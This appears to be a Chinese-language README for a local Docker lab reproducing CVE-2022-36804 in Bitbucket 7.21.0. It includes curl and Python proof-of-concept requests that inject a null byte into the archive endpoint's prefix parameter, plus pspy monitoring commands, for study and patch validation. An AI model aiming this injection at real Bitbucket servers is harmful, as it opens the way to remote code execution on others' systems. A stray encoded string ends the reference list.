Bitbucket CVE-2022-36804 漏洞复现环境
本项目提供了一个完全隔离的 Docker 环境,用于复现 CVE-2022-36804 漏洞。该漏洞是 Bitbucket Server 和 Data Center 中的一个预认证参数注入缺陷,攻击者能够利用空字节 (%00) 在 git archive 子进程中注入额外参数,最终导致远程代码执行 (RCE)。所有测试均限制在本地环境中进行。
功能特性
- 漏洞环境一键部署:通过 Docker Compose 快速启动存在漏洞的 Bitbucket 7.21.0 版本实例。
- 真实攻击链演示:展示了如何通过构造包含空字节的请求,向
git archive命令注入额外参数。 - 进程监控集成:指导使用
pspy工具实时观察容器内进程参数的变化,直观验证参数拆分行为。 - 完全隔离测试:所有服务运行在本地 Docker 网络中,不影响主机及其他外部系统。
安装指南
系统要求
- Docker Engine 20.10+
- Docker Compose 2.0+
- 至少 4GB 可用内存
部署步骤
-
克隆仓库
git clone https://github.com/your-username/cve-2022-36804-lab.git cd cve-2022-36804-lab -
启动环境
docker compose up -d -
验证 Bitbucket 版本
docker exec -it bitbucket cat /opt/atlassian/bitbucket/VERSION预期输出:
7.21.0
使用说明
漏洞复现流程
1. 监控容器进程 (使用 pspy)
首先进入 Bitbucket 容器并启动 pspy 以观察后台命令执行:
docker exec -it bitbucket bash
cd /tmp
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64
保持 pspy 运行,不要退出终端。
2. 触发漏洞端点
在新的终端中,向 Bitbucket 的 REST API 发送恶意请求。prefix 参数中的 %00 代表空字节:
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/demo/archive?prefix=test%00canary&format=zip"
3. 观察注入效果
回到 pspy 运行的终端,你将看到类似如下的进程创建事件:
/usr/bin/git archive --format=zip --prefix=test canary/ --
关键观察点:
test和canary成为了两个独立的参数,而非原本预期的test\0canary单个字符串。- 这证明空字节成功截断了原始参数,导致 Bitbucket 将拆分后的多个参数传递给底层
git archive命令。
典型应用场景
- 安全研究人员分析漏洞原理
- 开发团队验证补丁有效性
- CTF 或红队训练中模拟真实攻击手法
核心代码
漏洞触发请求构造 (Python 示例)
import requests
target = "http://localhost:7990"
path = "/rest/api/latest/projects/TEST/repos/demo/archive"
payload_params = {
"prefix": "test\x00canary", # 直接插入空字节
"format": "zip"
}
response = requests.get(target + path, params=payload_params)
print(f"Status: {response.status_code}")
Docker Compose 配置 (核心部分)
# docker-compose.yml
version: '3.8'
services:
bitbucket:
image: atlassian/bitbucket:7.21.0
container_name: bitbucket
ports:
- "7990:7990"
- "7999:7999"
environment:
- JVM_MINIMUM_MEMORY=512m
- JVM_MAXIMUM_MEMORY=1024m
volumes:
- bitbucket_data:/var/atlassian/application-data/bitbucket
networks:
- lab_network
volumes:
bitbucket_data:
networks:
lab_network:
参数注入监控 (pspy 命令封装)
#!/bin/bash
# monitor.sh - 自动下载并启动 pspy
docker exec -it bitbucket bash -c "
cd /tmp && \
wget -q https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 && \
chmod +x pspy64 && \
./pspy64 -p -i 1000
"
参考文献
- Assetnote 博客:Bitbucket Pre-Auth RCE via Git Argument Injection
- CVE-2022-36804 官方条目 6HFtX5dABrKlqXeO5PUv/wJQvHYd/1Xq+T/Vv4cdczk=